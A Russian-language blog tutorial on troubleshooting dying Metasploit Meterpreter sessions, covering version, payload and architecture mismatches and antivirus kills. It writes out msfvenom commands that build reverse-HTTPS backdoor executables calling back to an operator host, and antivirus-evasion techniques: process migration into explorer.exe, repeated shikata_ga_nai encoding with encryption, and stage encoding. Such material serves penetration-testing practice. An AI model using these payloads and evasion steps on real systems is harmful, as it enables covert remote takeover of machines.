Почему у тебя умирает сессия Meterpreter? Попробуйте эти исправления..
Этичный ХакерЭта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
При использовании Metasploit Framework вы наверняка много раз сталкивались с тем, что ваш сеанс meterpreter завершался, и вы видели в консоли сообщение об ошибке «Meterpreter session 1 closed. Reason: Died».
В этой статье мы рассмотрим причины возникновения этой ошибки и предложим решения, как ее исправить.
Причина 1: Несовместимые версии Metasploit
Распространенная причина, по которой ваш сеанс meterpreter может умереть, заключается в том, что вы сгенерировали полезную нагрузку, используя одну версию Metasploit (например, v5), в то время как вы используете другую версию Metasploit (например, v6) для получения соединения meterpreter.
Это не сработает из-за того, что разные основные версии Metasploit не полностью совместимы друг с другом. Использование несовместимых версий Metasploit может вызывать различные ошибки, включая следующую:
[] Started reverse TCP handler on 192.168.24.5:8443 [] 192.168.1.2 - Meterpreter session 1 closed. Reason: Died [*] Meterpreter session 1 opened (192.168.24.5:8443 -> 192.168.1.2:49257) at 2020-12-09 08:24:55 -0400
Решение
В этом случае решение действительно простое - всегда используйте одну и ту же версию Metasploit на обоих концах.
Например, если вы создаете полезную нагрузку для своего эксплойта с помощью MSFv6, убедитесь, что вы также получаете соединение (или подключаетесь к цели) с помощью MSFv6.
Причина 2: Несоответствие в выборе полезной нагрузки
Другой распространенной причиной смерти сеанса meterpreter является использование неправильной (несоответствующей) полезной нагрузки при использовании модуля exploit/multi/handler.
Exploit/multi/handler - это общий обработчик полезной нагрузки для приема соединений, исходящих от автономных полезных нагрузок или эксплойтов, обычно генерируемых вручную с помощью утилиты msfvenom.
Для правильной работы требуется, чтобы указанная полезная нагрузка точно совпадала с обеих сторон, и именно здесь легко допустить ошибку.
Например, мы могли указать в msfvenom использовать полезную нагрузку windows/meterpreter/reverse_https, тогда как в msfconsole мы ошибочно выбрали полезную нагрузку windows/meterpreter/reverse_tcp.
Это может привести к множеству ошибок, в том числе к этой:
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.204.3:8443 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] Meterpreter session 2 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:01 -0500 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] - Meterpreter session 2 closed. Reason: Died [*] Meterpreter session 3 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] Meterpreter session 4 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:02 -0500 [*] - Meterpreter session 3 closed. Reason: Died [*] - Meterpreter session 4 closed. Reason: Died [*] Sending stage (201283 bytes) to 192.168.1.100 [*] - Meterpreter session 5 closed. Reason: Died [*] Meterpreter session 5 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:06 -0500 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] - Meterpreter session 6 closed. Reason: Died [*] Meterpreter session 6 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] Meterpreter session 7 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:07 -0500 [*] - Meterpreter session 7 closed. Reason: Died [*] Sending stage (201283 bytes) to 192.168.1.100 [*] Meterpreter session 8 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500 [*] Sending stage (201283 bytes) to 192.168.1.100 [*] Meterpreter session 9 opened (192.168.204.3:8443 -> 192.168.1.100) at 2020-10-15 14:31:12 -0500
Решение
Как уже упоминалось выше, мы должны убедиться, что мы используем одинаковую полезную нагрузку на обоих концах - в msfvenom и в msfconsole.
Вот пример того, как правильно настроить мульти-обработчик, используя в качестве примера полезную нагрузку windows/x64/meterpreter/reverse_https.
(1) Настройте listener:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 10.11.0.5 msf6 exploit(multi/handler) > set LPORT 8443 msf6 exploit(multi/handler) > run
(2) Создайте полезную нагрузку meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=8443 -f exe -o runme.exe
Теперь, когда мы доставим исполняемый файл runme.exe на нашу цель и запустим его, мы должны получить сеанс meterpreter без каких-либо проблем:

Причина 3: Смешивание архитектур (32 бит / 64 бит)
При работе с Metasploit также очень легко ошибиться при выборе правильной архитектуры процессора и перепутать их.
Подобное может привести к следующей ошибке:
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.204.2:8443 [*] Sending stage (206403 bytes) to 192.168.100.1 [*] Meterpreter session 4 opened (192.168.204.2:8443 -> 192.168.100.1:50146) at 2020-12-09 13:07:30 +0400 [*] 192.168.100.1 - Meterpreter session 4 closed. Reason: Died
Msfconsole перестает отвечать на запросы, и мы должны вручную прервать ее, нажав комбинацию клавиш ^C (Control + C):
^C[-] Exploit failed [user-interrupt]: Interrupt [-] run: Interrupted msf6 exploit(multi/handler) >
Решение
Убедитесь, что вы не смешиваете архитектуры процессора в msfvenom и msfconsole. Вы должны использовать только 32-битные или 64-битные данные с обеих сторон.
Примеры 32-битных и 64-битных полезных нагрузок:

Причина 4: Убит антивирусом или EDR
Еще одна частая причина завершения сеанса «Meterpreter session 1 closed. Reason: Died» состоит в том, что в какой-то момент meterpreter был обнаружен антивирусным решением AV или EDR (система обнаружения целевых атак на конечных точках сети), запущенными на целевой машине.
В таких случаях процесс meterpreter будет остановлен, что приведет к следующему поведению:
[*] Started reverse TCP handler on 192.168.204.2:8443 [*] Sending stage (985320 bytes) to 192.168.100.1 [*] Meterpreter session 1 opened (192.168.204.2:8443 -> 192.168.100.1:39854) at 2020-12-30 10:33:14 +0400 meterpreter > [*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died
Обратите внимание, что сеанс meterpreter завершился после этапа установления соединения.
Это также может произойти в любое другое время при установленном соединении.
Решение 1. Миграция в другой процесс.
Один из приемов, который мы можем попробовать, - это спрятаться от антивируса, как можно скорее перенеся процесс meterpreter в другой безопасный процесс - например, в explorer.exe или svchost.exe.
Обратите внимание, что миграция процесса работает только на хостах с Windows, поскольку системы UNIX не имеют возможностей (системных API) для выполнения таких (безумных) вещей. Да, я говорю о CreateRemoteThread, WriteProcessMemory и других API Windows, позволяющих выполнять внедрение процессов.
Платформа Metasploit позволяет нам автоматически переносить процесс meterpreter сразу после установления сеанса, используя любой из этих дополнительных параметров:
- InitialAutoRunScript
- AutoRunScript
Например, вот как автоматически перенести meterpreter в процесс explorer.exe:
msf6 exploit(..) > set AutoRunScript "migrate -n explorer.exe" msf6 exploit(..) > run

Решение 2 - Обфускация, обфускация и еще раз обфускация
Обфускация, очевидно, очень обширная тема - существует практически неограниченное количество способов избежать обнаружения антивирусом.
Использование следующих советов может дополнительно помочь затруднить обнаружение от антивирусов.
Совет 1 - Кодировка полезной нагрузки (msfvenom)
Создавая полезную нагрузку с помощью msfvenom, мы можем использовать различные кодировщики и даже шифрование, чтобы скрыть наш окончательный результат.
Вот пример с использованием 10 итераций кодировщика shikata_ga_nai для кодирования нашей полезной нагрузки, а также с использованием шифрования aes256 для шифрования внутреннего шелл-кода:
msfvenom -p windows/meterpreter/reverse_https LHOST=10.11.0.5 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 10 --encrypt aes256 -x /usr/share/windows-binaries/plink.exe -o runme.exe
Проверьте также другие параметры кодирования и шифрования, запустив:
msfvenom --list encoders msfvenom --list encrypt
Совет 2 - Кодировка stage соединения (msfconsole)
При открытии сеанса meterpreter по сети передаются определенные и легко идентифицируемые байты, в то время как meterpreter stage отправляется к цели.
Попробуйте использовать расширенный параметр EnableStageEncoding в msfconsole для кодирования:
msf6 exploit(..) > set EnableStageEncoding true msf6 exploit(..) > run

Это также может помочь избежать некоторых антивирусных программ и предотвратить прерывание сеанса meterpreter.
Также проверьте другие параметры в msfconsole:
msf6 exploit(..) > show advanced msf6 exploit(..) > set StageEncoder [TAB] ..
Советы по устранению неполадок
Вот пара советов, которые могут помочь в устранении неполадок в Metasploit, связанных не только с закрытием сеанса meterpreter, но и с любыми другими проблемами.
Подробность логирования
В msfconsole есть глобальная опция LogLevel, которая регулирует подробность журналов логирования. Вы можете установить значение от 1 до 5:
msf6 exploit(..) > setg LogLevel 5
Проверить логи Metasploit
Загляните в файл журнала Metasploit после возникновения ошибки, чтобы узнать, что происходит:
cat ~/.msf4/logs/framework.log
Быстрая диагностическая информация
Когда возникает ошибка, например, когда завершается сеанс meterpreter, вы можете быстро получить диагностическую информацию, выполнив команду debug в msfconsole:
[*] 192.168.100.1 - Meterpreter session 1 closed. Reason: Died msf6 exploit(..) > debug
Эта команда отобразит различную потенциально полезную информацию, включая фрагмент из самого файла журнала Metasploit.
Вики-страницы Metasploit
Также проверьте следующий ресурс для отладки мертвых сессий meterpreter:
Подведение итогов
Прежде чем сообщать об ошибке с Metasploit Framework:
- Убедитесь, что вы используете одну и ту же полезную нагрузку и архитектуру (32 бит/64 бит) с обеих сторон - на вашей цели и в msfconsole;
- Убедитесь, что вы сгенерировали полезную нагрузку и получаете соединение meterpreter, используя одинаковую версию Metasploit.
Вдобавок, постарайтесь избежать обнаружения meterpreter антивирусом, так как это скорее всего приведет к прекращению сеанса meterpreter:
- Выбирайте только полезные нагрузки, которые используют зашифрованный канал связи, например:
meterpreter/reverse_winhttps meterpreter/reverse_https meterpreter/reverse_tcp_rc4 meterpreter/bind_tcp_rc4
- Настройте автоматический перенос процесса meterpreter на другой (безопасный) процесс;
- Используйте доступные параметры кодирования, шифрования и обфускации полезной нагрузки.